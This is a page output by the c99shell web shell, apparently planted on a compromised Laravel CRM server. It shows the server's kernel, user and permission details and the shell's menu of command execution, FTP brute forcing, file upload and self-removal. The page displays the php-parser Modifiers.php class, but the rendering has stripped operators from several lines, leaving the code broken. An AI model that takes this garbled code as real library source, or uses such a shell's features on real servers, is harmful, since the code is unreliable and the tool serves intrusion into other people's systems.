!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/nikic/php-parser/lib/PhpParser/   drwxrwxrwx
Free 13.05 GB of 57.97 GB (22.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Modifiers.php (2.71 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

namespace 
PhpParser;

/**
 * Modifiers used (as a bit mask) by various flags subnodes, for example on classes, functions,
 * properties and constants.
 */
final class Modifiers {
    public const PUBLIC    =  
1;
    public const PROTECTED =  
2;
    public const PRIVATE   =  
4;
    public const STATIC    =  
8;
    public const ABSTRACT  = 
16;
    public const FINAL     = 
32;
    public const 
READONLY  64;
    public const 
PUBLIC_SET 128;
    public const 
PROTECTED_SET 256;
    public const 
PRIVATE_SET 512;

    public const 
VISIBILITY_MASK self::PUBLIC | self::PROTECTED | self::PRIVATE;

    public const 
VISIBILITY_SET_MASK self::PUBLIC_SET self::PROTECTED_SET self::PRIVATE_SET;

    private const 
TO_STRING_MAP = [
        
self::PUBLIC  => 'public',
        
self::PROTECTED => 'protected',
        
self::PRIVATE => 'private',
        
self::STATIC  => 'static',
        
self::ABSTRACT => 'abstract',
        
self::FINAL  => 'final',
        
self::READONLY  => 'readonly',
        
self::PUBLIC_SET => 'public(set)',
        
self::PROTECTED_SET => 'protected(set)',
        
self::PRIVATE_SET => 'private(set)',
    ];

    public static function 
toString(int $modifier): string {
        if (!isset(
self::TO_STRING_MAP[$modifier])) {
            throw new 
\InvalidArgumentException("Unknown modifier $modifier");
        }
        return 
self::TO_STRING_MAP[$modifier];
    }

    private static function 
isValidModifier(int $modifier): bool {
        
$isPow2 = ($modifier & ($modifier 1)) == && $modifier != 0;
        return 
$isPow2 && $modifier <= self::PRIVATE_SET;
    }

    
/**
     * @internal
     */
    
public static function verifyClassModifier(int $aint $b): void {
        
assert(self::isValidModifier($b));
        if ((
$a $b) != 0) {
            throw new 
Error(
                
'Multiple ' self::toString($b) . ' modifiers are not allowed');
        }

        if (
$a 48 && $b 48) {
            throw new 
Error('Cannot use the final modifier on an abstract class');
        }
    }

    
/**
     * @internal
     */
    
public static function verifyModifier(int $aint $b): void {
        
assert(self::isValidModifier($b));
        if ((
$a Modifiers::VISIBILITY_MASK && $b Modifiers::VISIBILITY_MASK) ||
            (
$a Modifiers::VISIBILITY_SET_MASK && $b Modifiers::VISIBILITY_SET_MASK)
        ) {
            throw new 
Error('Multiple access type modifiers are not allowed');
        }

        if ((
$a $b) != 0) {
            throw new 
Error(
                
'Multiple ' self::toString($b) . ' modifiers are not allowed');
        }

        if (
$a 48 && $b 48) {
            throw new 
Error('Cannot use the final modifier on an abstract class member');
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--